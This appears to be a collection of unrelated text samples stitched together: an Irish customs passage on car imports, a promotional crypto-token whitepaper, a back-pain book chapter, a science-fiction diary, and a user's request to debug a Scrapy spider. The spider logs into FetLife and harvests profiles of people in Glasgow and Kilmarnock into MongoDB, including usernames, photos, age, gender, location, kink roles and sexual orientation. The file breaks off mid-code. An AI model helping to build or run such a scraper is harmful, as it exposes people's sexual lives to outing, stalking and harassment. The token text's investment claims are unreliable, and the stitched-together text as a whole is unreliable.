the customs value of the car.\nThe customs value is the invoice price plus the cost of transport and insurance. VAT\nat the standard rate is calculated on the customs value plus customs duty.\nThere is a Returned Goods Relief available for vehicles subject to strict EU conditions.\nVehicles can be exported from the EU to a 3rd country and re-imported into the EU\nwithout the payment of Customs Duty provided all the required conditions for\nReturned Goods Relief are met. In very specific circumstances, relief from ValueAdded Tax may also apply where the vehicle is re-imported into the EU by the same\nperson that originally exported the goods out of the EU. Details of how to claim\nreturned goods relief for cars is on eCustoms Helpdesk Notification Ref 24/2021.\nIf the car is of UK origin, it is important to note that the preferential tariff treatment\nmust be claimed on import on the Customs declaration. Details on how to do this are\nalso available on eCustoms Helpdesk Notification Ref 36/2020.\nPostponed accounting for Value-Added Tax (VAT) on imports is available to all\ntraders that are registered for VAT and Customs and Excise. The traders must fulfil\ncertain conditions. Further detail is available on eCustoms Helpdesk Notification Ref\n32/2020.' -"The increasing pressure on farmers to produce more using unsustainable practices, can lead to overuse of resources, and soil degradation, further exacerbating the aforementioned issues and costs, leading to potential food insecurity and economic instability.\n\nIn conclusion, the industrial agriculture industry is facing a multitude of challenges that threaten global food security, economic stability, and human health. These issues, if left unaddressed, will result in staggering costs for society. It is imperative that we take action now to address these challenges and transition to sustainable and equitable food systems.\n\nOn the other hand these costs represent an opportunity. They can be mined and used as fuel to drive a regenerative economy instead of a degenerative economy.\n\nThe solution - Internalization of costs\nImagine a world where the true cost of industrial agriculture and other industries are accounted for in our economic system. Instead of incentivizing farmers and companies to adopt unsustainable practices, such as monoculture and heavy use of chemical inputs, we would be encouraging them to adopt sustainable, regenerative practices that benefit both the environment and human health. This can be achieved by implementing fees on pollution and the use of resources, such as carbon and water.\n\nInternalizing these costs not only benefits the environment, but it also leads to greater innovation, efficiency, job creation, and ultimately lower costs for society as a whole. Additionally, by implementing a fee and dividend system, where a portion of the fees collected are distributed back to the public, we can ensure that this solution is not regressive and that the most vulnerable members of society are not disproportionately impacted.\n\nHowever, few governments have taken the necessary steps to implement this solution (only Austria switzerland and six canadian provinces have implemented a fee and dividend on carbon pollution). That's where the Fresh Earth token comes in. By utilizing blockchain technology, the Fresh Earth token aims to create a transparent and verifiable impact for sustainable agrifood projects, and stimulate investment in regenerative agriculture. By taking this approach, we can work towards a future where the cost of destroying our environment and human health is no longer externalized, but internalized and paid for by those who are causing the damage.\n\nThe opportunity\nThere is a growing demand for change in the food industry, driven by consumers who are increasingly concerned about the quality and sustainability of their food. Digitization and the lack of it in the supply chain also creates an opportunity for innovation and disruption in the agricultural industry. The Fresh Earth ecosystem is designed to address these issues and create a more sustainable, resilient food system.\n\nThe opportunity to create positive impacts by transforming the Agri-food industry is enormous and many are now pursuing it.\n\nAgriculture and food could be the biggest solution by regenerating land and health.\n\nAn Agri-Food revolution is already underway.\n\nHundreds of billions of $ are looking to invest in it.\n\nAgri-food and health are each $10T global industries, with a combined true cost of $50T.\n\nIf people had to spend twice as much to get Regen food, it would still be cheaper + healthier.\n\nAgri-food is the least digitized of the major industries.\n\nIn the US, 40% of produce is wasted and food loss accounts for 8% of GHG gas emissions.\n\nConsumer awareness and demand for more eco-friendly & healthy food is rapidly growing.\n\nThe industry is fragmented with duplication of effort and gaps in existing approaches, and limited coordination between new initiatives. Solutions lack scale and synergy.\n\nRegenerative agriculture is currently being adopted to millions of hectares globally.\n\nHigh tech methods, including for measurement and validation, are rapidly progressing.\n\nGov. and private initiatives, including the X prize, will boost everything.\n\nNone of this is big and fast enough to regenerate faster than we degenerate.\n\nThis means huge opportunity if approached at scale and with ‘outside the box’ solutionsThe Fresh Earth Ecosystem\n\n3. The Fresh Earth ecosystem\nThe Fresh Earth ecosystem is a revolutionary solution for transforming the agri-food industry and addressing pressing issues of climate change, health, and food security. By creating a global, community-based food system, Fresh Earth empowers individuals and businesses to take control of their food sources and improve the quality and nutritional density of the food they consume. The system is designed to internalize the costs of the food system and redistribute the money back into the ecosystem through token sales and rewards, creating an economic engine for the ecosystem. By incentivizing participation and engagement, the Fresh Earth token driven system acts as an impact generation machine at scale, driving participation, investment, and the transition to regenerative practices.\n\nThe Fresh Earth ecosystem is composed of several key components that intermesh to drive participation, investment and the transition to regenerative practices. These include:\n\nFresh Earth Token: At the heart of the ecosystem is the Fresh Earth Token, a powerful tool that represents fractional ownership of the food ecosystem business, serving as a store of value that can be held by stakeholders as a liquid financial reservoir, retaining its value and purchasing power over time. It leverages the future impact of regenerative projects to secure external funding from government schemes such as carbon trading, and ESG investors. it also drives the Rewards System, incentivizing participation and engagement of stakeholders within the ecosystem, including farmers, consumers, and investors, towards the common goal of regenerating land and promoting sustainable practices. \n\nData Managment Platform: Based on key performance indicators (KPIs) such as carbon sequestration, biodiversity, water retention, and food nutritional density, this is a science-driven approach to measuring and validating the impact outcomes of regenerative practices and projects. It uses an open-source sandbox environment for data access and analytics, providing transparency and accountability for stakeholders. The immense amount of data gathered over time will be a monetizable value to a world in transition.\n\nB2B Marketplace - (B2B): A digital platform connects farmers on the regenerative pathway with businesses, reducing costs and risks for farms and allowing businesses to access verified, locally developed regenerative food products directly from the designers, manufacturers, and producers.\n\nThe Project Management Platform is a comprehensive solution for the design, implementation, and commercialization of validated health and farm programs. It operates as a B2B marketplace that brings together various stakeholders, including health experts, farm experts, suppliers, end users, and universities, government, and policy makers, to ensure high-quality programs that meet the needs of all parties involved. The platform offers a range of tools and features, including project creation and management, data analysis and visualization, B2B marketplace support, validation systems, and group management tools, all powered by cutting-edge technology. The technology stack, which combines server-side, front-end, database, and cloud-based technologies, ensures the platform delivers its key features and benefits, including increased innovation, reduced costs, increased efficiency, rapid innovation, and shared knowledge. The platform's goal is to support the transition towards a regenerative, healthy, and transparent food system and drive positive change in the agri-food industry.\n\nRewards System: This component Incentivizes participation and engagement within the ecosystem by rewards stakeholders for their contributions that recognizes the value of their participation, promoting transparency and decentralization in the management of the food ecosystem business.\n\nThese components work together to create a comprehensive, community-based food system that empowers individuals and businesses to take control of their food sources and improve the quality and nutritional density of the food they consume.\n\nThe sophisticated tech platform is designed so that the Ecosystem operates as a decentralized autonomous organization (DAO) that facilitates the food ecosystem business. \n\nA Decentralized Autonomous Organization (DAO) is a digital organization that is run by a set of rules encoded in smart contracts on a blockchain network. The rules and governance of a DAO are determined by its token holders, who have ownership over the organization through their possession of the organization's native token. Transactions and decisions within a DAO are recorded on the blockchain, providing transparency and immutability. DAOs are often created to manage decentralized projects or communities, and can operate without the need for a central authority or intermediary.Logic of Fresh Earth and the Token.\n\nThis structure allows investors to participate in the growth and success of the ecosystem and share in the value generated. To facilitate efficiency the Fresh Earth DAO includes multi-tiered governance and decision-making, with a board of directors, advisory board, and a voting system for major decisions, as well as systems for transparently tracking and reporting the use of funds and the impact of the ecosystem to provide added security and accountability for the investors.\n\nThe Fresh Earth ecosystem is a perfect example of how tokenization can be used to create a more equitable and sustainable world, with the power to drive real change and make a positive impact on the planet and society. It's unique combination of token archetypes, underlying value and network value, makes it a strong and adaptable mechanism for promoting the growth and success of the regenerative agriculture ecosystem.\n\n4. Tokennomics\nToken name and symbol: \nFresh Earth Token (FET)\n\nToken Overview \nThe Fresh Earth Token (FET) is the backbone of the Fresh Earth ecosystem, serving as a means to pull the future impact of regenerative projects to the present to fund the projects; and also as the primary means of incentivizing participation and engagement of stakeholders, including farmers, consumers, and investors. \n\nThe Fresh Earth token is designed to contribute to the transition towards a more sustainable and regenerative food system, and address the pressing issues of climate change and environmental degradation in the agricultural industry. It incentivizes regenerative agricultural practices and enables investment in sustainable agrifood projects by creating a token economy that rewards farmers, consumers, and impact investors for their participation in the regenerative agricultural ecosystem. \n\nThe Fresh Earth Token is more than just a financial instrument; it is a tool for change. It gives individuals and businesses choice and tools to actively participate in the transition to a more sustainable, healthy and regenerative food system, ensuring that the ecosystem is moving towards its goal of regenerating land and promoting sustainable practices, while also providing a store of value and an opportunity for profit. \n\nToken Structure\nThe token represents fractional ownership of a decentralized autonomous organization (DAO) that facilitates the food ecosystem business. It is used to access and participate in the Fresh Earth ecosystem, to make decisions in the governance of the ecosystem and to serve within the community of regenerative farmers, consumers, and impact investors. \n\nThe token operates through a set of algorithms that are designed to generate verifiable impact within the ecosystem. These algorithms take into account the actions and participation of all stakeholders, including farmers, consumers, and investors, in order to ensure that the ecosystem is moving towards its goal of regenerating land and promoting sustainable practices.\n\nThe underlying value of the Fresh Earth Token is derived from the worth of the stakeholder-owned Fresh Earth ecosystem, along with the valuation and monetisation of the impacts of regenerative projects. The value of the ecosystem is determined by the stakeholders, while the impact of regenerative projects is measured by key performance indicators (KPIs) such as carbon sequestration, biodiversity, water retention, and food nutritional density. These KPIs provide verified measurements of impact that can be leveraged to secure external funding from government schemes and investorsI. Introduction\n\nToken Classification\nThe Fresh Earth Token is a unique combination of several different token archetypes, including utility, governance, community, asset-backed, and stablecoin. \n\nUtility: the token's ability to facilitate communication and collaboration between farmers, investors, government bodies, and other stakeholders in the regenerative agriculture ecosystem makes it a powerful tool for coordinating efforts and tracking progress within the ecosystem. \n\nGovernance: The token's decentralized autonomous organization (DAO) governance structure allows for transparent and democratic decision-making processes, further promoting coordination among ecosystem actors.\n\nCommunity: The above combined form the basis for a strong community archetype token.\n\nAsset based: The Fresh Earth Token is a store of value that can be held by stakeholders as a liquid financial reservoir, and may retain value and purchasing power over time. \n\nStable coin: The value of the Fresh Earth Token is linked to the success of the ecosystem and the impact of regenerative projects, allowing for a stable value of the token.\n\nIn Token Classification, the Fresh Earth Token is a Utility Token that functions as a governance token, and is structured as a community token and an asset-backed token.\n\nUnderlying Value of the Fresh Earth Token is based on fractional ownership, impact validation and an economic engine that is built into the ecosystem to drive investment and impact. Assets includes real-world assets, key performance indicators, and access and participation that are all linked to the ecosystem's ability to promote sustainable practices and address the pressing issues of climate change, health, and food security. \n\nShare-Like value includes fractional ownership, rights and privileges, and impact leverage, which all contribute to the ecosystem's ability to internalize the costs of the food system and redistribute the money back into the ecosystem through token sales and rewards, creating an economic engine for the ecosystem.\n\nNetwork Value is built on trust and utility, supply and demand, and network growth, all of which are designed to create a comprehensive, community-based food system that empowers individuals and businesses to take control of their food sources and improve the quality and nutritional density of the food they consume.\n\nThe Fresh Earth ecosystem's classification can be broken down into several key areas." -'CHAPTER NINETEEN\n Congratulations! And One Last Assignment\n From Chris and Jeremy\nFrom Chris\nFirst of all, congratulations. You have read and (let us hope) absorbed the critical pieces of the James Protocol. That’s the big deal; the vast majority of you are now equipped to work on your own to end or radically reduce your back pain, forever. Let me recap: You have learned some moves to help you step out of back pain in the short term so that you can embark on the regimen of exercises and movements that are going to solve the problem in the long term. You have learned how to stop doing the things that got you into this mess in the first place (“stop doing dumb stuff”). You have also learned how to build up endurance and strength in your core. Finally, you have learned how to move in all dimensions while maintaining a neutral spine and bracing your core. That is, you have learned how to move in daily life and do moderate exercise, without hurting your wretched back. Overall, you have learned how to behave differently, and that will make all the difference. Nice work. Very, very nice work. Continue with what you’ve learned and do the basic exercises every day (hey, it’s only for the rest of your life), and there is every reason to hope that most of you will be pain-free (or almost pain-free) from now on. Read the book again, from time to time, be rigorous about doing the exercises, and you’re there.\nAlmost.\nThere is one more area that we have not covered (a book like this can be only so long) but which we want you to think about. And act on. Note that I said above that you were ready for “moderate exercise.” Fine, if that’s what you want. But if, as we hope, you decide to move back into the strenuous exercise that is such a joy to so many of us—the rugged skiing, the flat-out tennis, the golf, the yoga, and so on—you should think seriously about doing more than we have been able to tell you in the compass of this book. For you—and, frankly, for almost everyone—it makes a lot of sense to adopt a more comprehensive and demanding program of strength training than what we have outlined thus far in order to really strengthen your core and prepare to meet the special demands (for back-pain people) of serious exercise. Others may embark on serious exercise without doing all the core work (maybe), but those with a history of a bad back do so at their peril. Not a good idea. \nAs I say, we just can’t do it here; it is almost another whole book. But we do have two great leads for you and some specific things to focus on (and avoid) as you turn to this phase.\nFirst, the ideas.\nFor a general, non-back-specific approach to strength training, you cannot do better than to get your hands on the book Younger Next Year: The Exercise Program. It is a short but cutting-edge outline of strength training (with exercises by the brilliant Bill Fabrocini) as well as aerobic exercise, which is also key to your long-term recovery. It is not specifically back-oriented, but Bill Fabrocini is very sophisticated about back issues and his general strength-training guidance will serve you well. (Also, I cowrote it, so it is intermittently readable.)\nMore specifically, Jeremy has just completed a truly remarkable, video-based guide to back pain and exercise (of all kinds) called BackForever.com. As I now know so well, when it comes to back issues Jeremy is an absolute hound for precision, scientific soundness, and detail, and he has worked his tail off to make his subscription video protocol (with some 150 separate videos on absolutely everything) as good and comprehensive as video can be. I have seen ’em, and they’re amazing.\nActually, if it were my back, I’d buy the book (it’s cheap) and subscribe to BackForever.com (the price of a couple of sessions with a personal trainer). If you do the same, we guarantee you’ll end your back pain and live happily ever after. No, we don’t, but damn near.\nBefore we turn you loose, we want to give you some warnings about strength training in general and a couple of specific tips about things to avoid. \nTHE BODYBUILDING BLUNDER\nThe first step for a lot of us, as we turn to strength training, is to “get over” the “bodybuilder” or “muscle isolation” mentality of the 1960s and ’70s and beyond. In those decades, the new exercise machines—Nautilus and others—were all in vogue, as was the focus on bodybuilding, thanks in significant part to Arnold Schwarzenegger and the movie Pumping Iron. The idea was to build big biceps (“guns”), huge quads, and whatnot. And to become strong. Then I guess you head down to the beach so Gidget and the Baywatch babes could swarm around. And the way you built those guns and whatnot, mostly, was with the nifty new weightlifting machines, especially the Nautilus gadgets. The ostensible genius of the Nautilus machines was that they gave constant stress across the full range of a rep. True, too, and a good idea. But the real appeal of the machines, I bet, was that in some curious way they made weightlifting “easy.” You still had to hoist heavy weights and grunt and sweat and stuff. But the machines did a lot of the hardest and most subtle work. They took all the balance out of strength training. And most of the coordination. Which permitted you to do what bodybuilders wanted to do then which was to isolate and grow the big muscles: the quads, your pecs, your biceps, and so on. It was much easier to do all that if you did not have to bother with the pesky business of balancing and stabilizing yourself. \nIn the normal course of weight training (when you were not using strength machines), stability (and coordination) was mostly the work of little support muscles and groups of muscles surrounding the big muscles. The machines did most of that for you. Which was nice. Except for this: The little guys—the support muscles—atrophied or died. Which was dangerous and dumb. \nBecause our body is designed to work—virtually all the time—on a fully integrated, whole-body basis. And that is impossible without the help of the little guys. Athletic movements (and most real-life movements) do not use isolated muscles; they use the whole shebang. Movement and exercise is orchestral, not a series of solos. Every lift in the real world is a whole-body affair. Isolating the big boys while letting the little guys go to hell was an absolutely awful idea. Bill Fabrocini (one of the great leaders in the whole-body training field and coauthor of two Younger Next Year books on the subject) sees hundreds of well-intentioned, serious people now in their sixties and seventies who have been “muscle isolation” weightlifters all their lives. They have huge muscles and can hoist great weight with them. But for the activities of daily life or normal exercise, they are weak as kittens. They are wretched athletes (if they can move at all). And often their backs and necks are aching ruins. Because the little muscles, which are key to whole-body movement, have gone to hell and their bodies are agonizingly out of alignment. It is possible to save these poor souls but it takes forever. Unsurprisingly, it is mostly a matter of teaching them to get over the machines and the muscle isolation model and learn whole-body, integrated workouts. Mostly you use your own body weight in integrated exercises, without machines. (Note: You do not have to give up machines completely; they can be a useful supplement to a whole-body regimen, if used properly.) \nDid that help? I hope so. Because it is important to grasp the significance of integrated, whole-body strength training. It is only integrated, whole-body movement that is going to build the kind of strength and movement patterns that are going to enable you to return to those higher risk activities. And make no mistake: You are almost certainly going to have to develop a much stronger core if it is going to be able to do its great job in protecting your back for serious exercise. \nFrom Jeremy\nLet me expand upon the muscle isolation theme a bit. Often it may be necessary to isolate muscles when deficiencies are present in those particular muscles, to reestablish strength and balance within the body so that a full-body exercise can be performed properly. But, after these rehabilitative goals are accomplished, integrated movement using the core for stability while incorporating balance is essential. With most machines, you are sitting there, exerting maximum force across one joint—your elbow, say—while the machine does all the stabilizing and balancing. That puts dangerous amounts of load across that joint. Bodybuilding focuses on developing muscle hypertrophy, meaning an increase in muscle mass. A specific muscle or set of muscles is isolated with a machine and moved against resistance until that muscle gets big. Various muscles throughout the body are put through this process individually to achieve a certain look, with no thought given to linking the muscles together to mimic the movements of sport or daily activities. This does nothing to train the muscles and muscle systems to move . . . to work together for maximum efficiency and minimum joint damage. As we age, it is crucial to challenge the systems in our bodies that maintain balance and stability. As the saying goes, use it or lose it. \nInstead of bodybuilding, we want you to think of training muscle systems and movements. A maxim I hear Bill say all the time that is common in the profession is “Train movement, not muscles,” and he’s absolutely right. Your goal in the gym is to build up the systems of muscles that support the movements of daily life, work, and sport, not to build “guns” for the beach. \nYou also need to get out of the mind-set that to work your core you must be doing core-specific exercises. It doesn’t work that way. All whole-body exercises are core exercises. The core muscles are designed to stop movement, not produce movement. Think about that for a minute. The core muscles are there to stop your spine and torso from moving while loads are applied through the arms and legs. Their primary function isn’t so much to move the torso as to keep it still. For example, if you are standing on your own two feet with nothing to lean against and pull a cable that has resistance, it is your core that is keeping your body from twisting and becoming off balance when you pull the cable. The stronger the resistance on the cable, the stronger your core has to be to resist that resistance. Juxtapose this with sitting on a “seated row” machine, where your chest is against a pad and you pull enormous amounts of weight, straining against the pad to keep your body in place, and you get the picture. \nDETAILS\nJust as in your daily exercises laid out in painstaking detail in this book thus far, the specific little details matter in strength training with weights, too. In fact, the stakes are higher because the load is higher and there is far less room for error. Regarding weight training, your goals dictate the degree of risk you are willing to assume. All weight training requires you to assume some degree of risk. If your goal is to get back to being an NBA center, that risk is pretty high because we are going to subject you to enormous loads in somewhat dangerous positions, but it’s worth it if you need to get back to your multimillion-dollar-a-year job. If your goal is to get back to being a grandma who can safely pick up her grandchild, the risk is much lower. And if your goal is to get back to recreational golf a few times a week, your risk is somewhere in the middle. It is for these reasons and because of the complexity of the movements we are discussing that presenting a one-size-fits-all strength-training regimen in this book is nearly impossible. Therefore we decided that rather than present you with an inferior product, we would give you an overview of the general information here and present you with some options to further your interests in a much more individualized way. \nAs you know, Chris and I are both huge fans of Bill Fabrocini’s warm-ups and exercises in Younger Next Year: The Exercise Program. They provide a superb foundation for general strength training. If you want a more customized workout tailored to the protection and strengthening of your back check out my BackForever.com online membership program with streaming videos and other content referred to in the Appendix. It was my goal to make it the definitive, visual guide in this area.\nAnother option of course is to hire a personal trainer until you get comfortable with the do’s and don’ts of strength training. A great personal trainer can be a huge help. But be warned, personal trainers vary wildly in skill level and knowledge. It can be very difficult to find a good one. Asking potential trainers if they are familiar with the concepts we talk about in this book is a good starting point. Also ask how much experience they have with working with clients with back pain. Ask them for referrals and interview those people if possible. Chris and I hope to solve the problem of finding a good trainer by creating a certification program down the road. Depending on where you live, expect to pay anywhere from $75 to $200 per hour for a great personal trainer. \nFrom Chris and Jeremy \nFinally, we also want to drive home the point about strength exercises that are bad for you. There are a few that you just shouldn’t be doing. Even though we don’t have room to show you the things you should do instead, we wanted to give you a sharp warning about the things you should not do. We include these “bad exercises” here so you don’t hurt yourself.\nBEHIND THE HEAD LAT PULLDOWNS \nLat pull down alternative' -"ENTRY 2 \n\nVal's Early Life\n\n\\*\\*\n\nStaying alive, I suppose you’d say that was my preoccupation, the Co-Op may as well have been my mother and father, and the options were that, or something worse. And spending my first few years in a firetrap tenement of a human district at Three Points East, I knew what “worse” looked like. \n\nSo you take ratings. Wash, rinse, repeat. I was always good at math, and fixing things, and managed to pick up a couple of local languages, like Tradetongue and Novayan - most of all I knew what streets to stay off of on my walk back from the market, and what not to wear in case I couldn’t stay off those streets. \n\nThen after Mama died, and we moved up to Perimeter One (where my grandmother lived), things changed. The big space station was lonely and austere much of the time but it was safe. It’s a lonely childhood but it’s not like you know better, because pretty much any other human children, doing the same thing, taking their Early ratings, sitting in the atrium by themselves while mom’s giving out tools at the station depot. But sometimes during Landing Day or Mars Day or Yuri’s Night it turns into a weeklong party, an inversion festival if you will. \n\nAnd that’s how I found out, that whatever station I happened to be at, there were other parts of the station. On Perimeter One, I would walk, and take the freight lift down to the Nadiran quarter. There it was clean, and quiet, and everybody usually just went about their thing. I strained to listen to their language and learned quickly to duck behind a pylon before I was seen. They leaned over in their dark robes, speaking barely above a whisper, making deals, and after straining my eyes I learned to pick up a bit of the hand signs they used in their haggling. \n\nI rated onto my first Massive Container Transport at 16, as a trainee. That’s when people started calling me “Sparks,” not once in that whole trip did anyone remember my name. I thought stationside would be different with cred on my stick, no such luck.\n\nI tried to hook up in port a few times, wanted to see what all the fuss was about, turns out alcohol can make anything happen. Mostly though I just didn’t know how to pass the time after the depots and library branches were closed. Didn’t know what to do with company anyway, so mostly in port I just laid low. \n\nBut… I just… nothing ever really happened, not at any stop, year after year; somehow it’s like I was standing on the sidelines, my syndics all shuffled off to their families and friends. None of that had happened for me, somehow whatever it was when we were on the ship, disappeared in port. \n\nSo at 20, when I had the chance to rate in ansible and work a ringship between the Destruction system and the Port West system, I took it. That’s why I became an intersystem spacer, because I was already out of sync anyway, had no family, had no one. Time loss wouldn’t mean a thing to me, nobody knew I was alive. Some Light Chasers get addicted to the feeling of… when I get back, how badly will shit have changed. Some of us just love that every time we get back, the food’s better than whatever we left behind. A few months to us, but meanwhile, downworld they’ve had years to get their shit together. \n\nNot like any sensible person with a family would ever make a life of this. It’s not just a way to run away from your problems, nobody downworld wants to deal with it. One or two trips, that’s one thing: especially when you’re young. But you pick the life of the Light Chaser, for any length of time, because you got no family to begin with, and you don’t want one.\n\nMay as well see the next system over, right? Get me further away from the hole in the wall called Three Points East. I never thought much about the future. That had something to do with settling down in the communes and raising seaweed or something, whenever anyone talks about “the future of the Co-Op” they’re always talking about the people raising rugrats on AgCom 5 or something. People on the ground, they think about the future. For me, the future is happening whether I want to think about it or not. No time to think about it.\n\nAs a kid I was good at just a few things, staying out of the way and studying, and fending for myself, and not complaining. Above all, don’t complain. They won’t hear it. If you think this life ain’t much then it’s still an RCH better than joining a gang on Three Points East, or selling your body, or being a drug mule on Port West. If you’re a smart kid then this is your best chance at an actual life. Maybe even you put your feet dirtside and have a family. Your grandparents broke their bodies as asteroid miners to give you this, and shed blood to give you this. Your great grandfather or great grandmother stayed in a crimp on some hellhole station, just to get abducted away by corporate sleeper ship and cross light years in cold storage. All so you could have this, in relative safety, the routines are what they are, and so your own children (figuratively speaking) could do better still. Could always be much worse. \n\nYou could be on Earth. And in my years since, I learned there are places even worse, that make Earth look like a garden spot. Suffice it to say, seeing what I’ve seen since, I might take Earth over any of them.\nENTRY 3\n\nSo the thing about long distance transport is that it’s one of the best places to be a trainee. It’s got the most opportunities for rating and cross-training. You’re probably not gonna die too messily. If it’s a Massive Container Transport going between systems, you see the most people, and it’s still one of the least cramped of the ships in ItSyn’s complement, let alone the Co-Op’s as a whole. (An MCT is a belly-lander, detachable from its modular ring drive, but that’s beside the point.) This make and model of MCT, a second-generation, is the newest and cleanest and has the best filtration, and the most space. On a smaller ship, you’re smelling each other’s sweaty asscracks all day. MCTs on the other hand just kind of always smell like hand cleaner and engine grease. MCTs are the smoothest ride, the newest components. \nThe Intersystem Transport Syndicate has the best facilities, the best security. You can license your own ship and run a commercial service under the auspices of the Co-Op, sure, but on a lot of things you’re just gonna be on your own. And that’s how lots of people like it.\nBut you gotta get from here to there, and if you’re from Three Points East like me, then the extra cred working for ItSyn is how you get there. The MCTs have the best facilities, with two big hab rings for in-system (longest parts of a trip). Before we make jump between systems, you make sure you got your belongings off because we’re going to be leaving the hab rings behind. On we go into the drive frame, we lock in, on goes the A-drive and control units, and then the pre-jump checks before spin up, and that’s a longer procedure than I’m going to bother to walk you through, but everything’s got to be snug and everything’s got to be balanced. Then you take your meds and get into your liquid filled intersystem crash couches. A jump takes absolutely precision usage of fuel, more than any other maneuver, because you don’t want to overshoot your target and plow into a star. Takes a big thrust to spin up, the hardest you’ll pull Gs on any trip short of leaving dirtside. I know you were hoping for some kind of warp drive technobabble, or to hear about monsters or some bullshit. Sorry I can’t make it a better story.\n\nThat’s the hardest part of a jump. It’s not even the spin-up. That happens fast, and smooth. You feel nothing. Nothing even shifts as the ripple in spacetime moves around you and you push through it. Some of my syndics called that part hitting the halfpipe, don’t know where that’s even from.\nJust get in, sit down, shut up, and hang on.\n\\*\\*\nThe best part of an MCT is the privacy. The newer MCT habs have “soundproof” individual compartments with sliding doors, so if your habmates are like mine and always having visitors over, then you’re going to be grateful for that. If the visitor is a certain Novayan, then it’s probably not going to be enough.\nThat Novayan was one K’Ratha, an FNG working in the hold, better known for his sack skills than anything else. He’d come aboard with some other Novayans a month back, but none were as popular as him (there were a couple of quieter males and a grumpy female). K’Ratha made the rounds in my hab multiple times on each leg of the trip, and this was going to be a long one. Apparently he was quite in demand, and the soundproofing wasn’t enough. Ended up just laying with my noise-cancelers on and the pillow over my head. This was going to be a long trip.\nWhen I finally saw him in line in the mess, there was another Novayan with him, and overhearing the conversation between them, I had the impression that our K’Ratha thought his ears and whiskers were gonna buy him some automatic cred on the lanes. The other Novayan – bigger, with broader shoulders - crossed his arms and glowered down at K’Ratha, shaking his head. “It’s rude, K’Ratha,” he said, his voice a shade deeper than the other’s, “To speak in Novayan in front of the humans. Why do you have to be such a walking stereotype, ay?”\n“Rreh. Thanna rrala the,” I said.\nThe bigger Novayan reached up and smacked the back of K’Ratha’s head.\n“I apologize for my brother,” he said, bowing his head slightly.\nNow, I’d never seen this Novayan before, despite the fact that he’d come on with K’Ratha, and was surprised at his aura of general formality.\nThe two Novayans looked similar, bigger though this one was. They both had coppery fur with dark stripes and swirls, and black noses.\nThe patches on the bigger Novayan’s flight suit read NAV SPEC III, and he had a bunch more additional rating patches on his flight suit and various fam candy, and his name patch read R’Kesh.\nI shook my head, and kept moving forward in the line to get my tray, thinking on whatever deal the Co-Op must’ve made with Seven Brothers Aqua to keep this many Novayan crewmates in this much space-farmed salmon.\n\n\\*\\*" -'can you see why it isn\'t updating? def login(self, response):\n """Log in using the form."""\n authenticity\\_tokens = response.xpath(\'//\\*[@name="authenticity\\_token"]/@value\').extract\\_first()\n csrf\\_token = response.xpath("//\\*[@name=\'csrf-token\']/@content").extract\\_first()\n\n otp\\_attempt = response.xpath(\'//\\*[@name="user[otp\\_attempt]"]/@value\').extract\\_first()\n locale = response.xpath(\'//\\*[@name="user[locale]"]/@value\').extract\\_first()\n blank = \'\'\n print(\'\')\n print(authenticity\\_tokens)\n print(otp\\_attempt)\n print(locale)\n print(\'\')\n yield scrapy.FormRequest.from\\_response(\n response=response,\n formdata={\n \'authenticity\\_token\': authenticity\\_tokens,\n \'user[otp\\_attempt]\': otp\\_attempt,\n \'user[locale]\': locale,\n \'user[login]\': USERNAME,\n \'user[password]\': PASSWORD,\n \'utf8\': \'✓\'\n },\n callback=self.initialized,\n )\n\n def initialized(self, response):\n """Parse the response after logging in."""\n real\\_start\\_urls = [\n "https://fetlife.com/p/united-kingdom/glasgow/kinksters",\n "https://fetlife.com/p/united-kingdom/east-ayrshire/kilmarnock/kinksters",\n \n ]\n\n for url in real\\_start\\_urls:\n yield response.follow(url, self.parse)\n\n def parse(self, response):\n print("Parsing")\n """Parse start requests after login."""\n client = pymongo.MongoClient()\n db = client[\'scraped\\_data\']\n collection = db[\'Fetlife\']\n\n links = response.xpath("//div[contains(@class, \'lh-copy\')]//span[contains(text(), \'F \')]//preceding-sibling::a/@href").getall()\n for link in links:\n data = {\n \'url\': link,\n \'parsed\': False,\n }\n result = collection.find\\_one({\'url\': link})\n if result is None:\n collection.insert\\_one(data)\n yield response.follow(link, self.parse\\_page)\n elif not result[\'parsed\']:\n yield response.follow(link, self.parse\\_page)\n def parse\\_page(self, response):\n client = pymongo.MongoClient()\n db = client[\'scraped\\_data\']\n collection = db[\'pages\']\n\n group1 = ""\n group2 = ""\n\n # Get the string from the XPath expression\n string = response.xpath(\'/html/body/div[3]/div/div[2]/div/header[1]/div/div[1]/main/div/div[1]/div[2]/h1/span[2]/text()\').get()\n\n if string:\n pattern = r\'^(\\D+)(\\d+)\\s\'\n match = re.match(pattern, string)\n if match:\n group1 = match.group(1)\n group2 = match.group(2)\n print(group1, group2)\n else:\n print("No match found")\n else:\n print("String is None")\n\n data = {\n \'url\': response.url,\n \'Profile Image\': response.xpath(\'/html/body/div[3]/div/div[2]/div/header[1]/div/div[1]/aside[1]/div/div/a/img/@src\').get(),\n \'Username\': response.xpath(\'/html/body/div[3]/div/div[2]/div/header[1]/div/div[1]/main/div/div[1]/div[2]/h1/span[1]/text()\').get(),\n \'Age\': group1,\n \'Gender\': group2,\n \'City 1 URL\': response.xpath(\'/html/body/div[3]/div/div[2]/div/header[1]/div/div[1]/main/div/div[1]/div[2]/p/span[1]/a/@href\').get(),\n \'City 1 Text\': response.xpath(\'/html/body/div[3]/div/div[2]/div/header[1]/div/div[1]/main/div/div[1]/div[2]/p/span[1]/a/text()\').get(),\n \'Area URL\': response.xpath(\'/html/body/div[3]/div/div[2]/div/header[1]/div/div[1]/main/div/div[1]/div[2]/p/span[2]/a/@href\').get(),\n \'Area Text\': response.xpath(\'/html/body/div[3]/div/div[2]/div/header[1]/div/div[1]/main/div/div[1]/div[2]/p/span[2]/a/text()\').get(),\n \'Country URL\': response.xpath(\'/html/body/div[3]/div/div[2]/div/header[1]/div/div[1]/main/div/div[1]/div[2]/p/span[3]/a/@href\').get(),\n \'Country Text\': response.xpath(\'/html/body/div[3]/div/div[2]/div/header[1]/div/div[1]/main/div/div[1]/div[2]/p/span[3]/a/text()\').get(),\n \'Roles\': response.xpath(\'/html/body/div[3]/div/div[2]/div/header[1]/div/div[1]/main/div/div[3]/div[5]/div[2]/div[1]/div[2]/div[2]/text()\').get(),\n \'Orientation\': response.xpath(\'/html/body/div[3]/div/div[2]/div/header[1]/div/div[1]/main/div/div[3]/div[5]/div[2]/div[2]/div[2]/div[2]/span/text()\').get(),\n \'Active\' : response.xpath(\'/html/body/div[3]/div/div[2]/div/header[1]/div/div[1]/main/div/div[3]/div[5]/div[2]/div[3]/div[2]/div[2]/text()\').get(),\n \'Looking For\' : 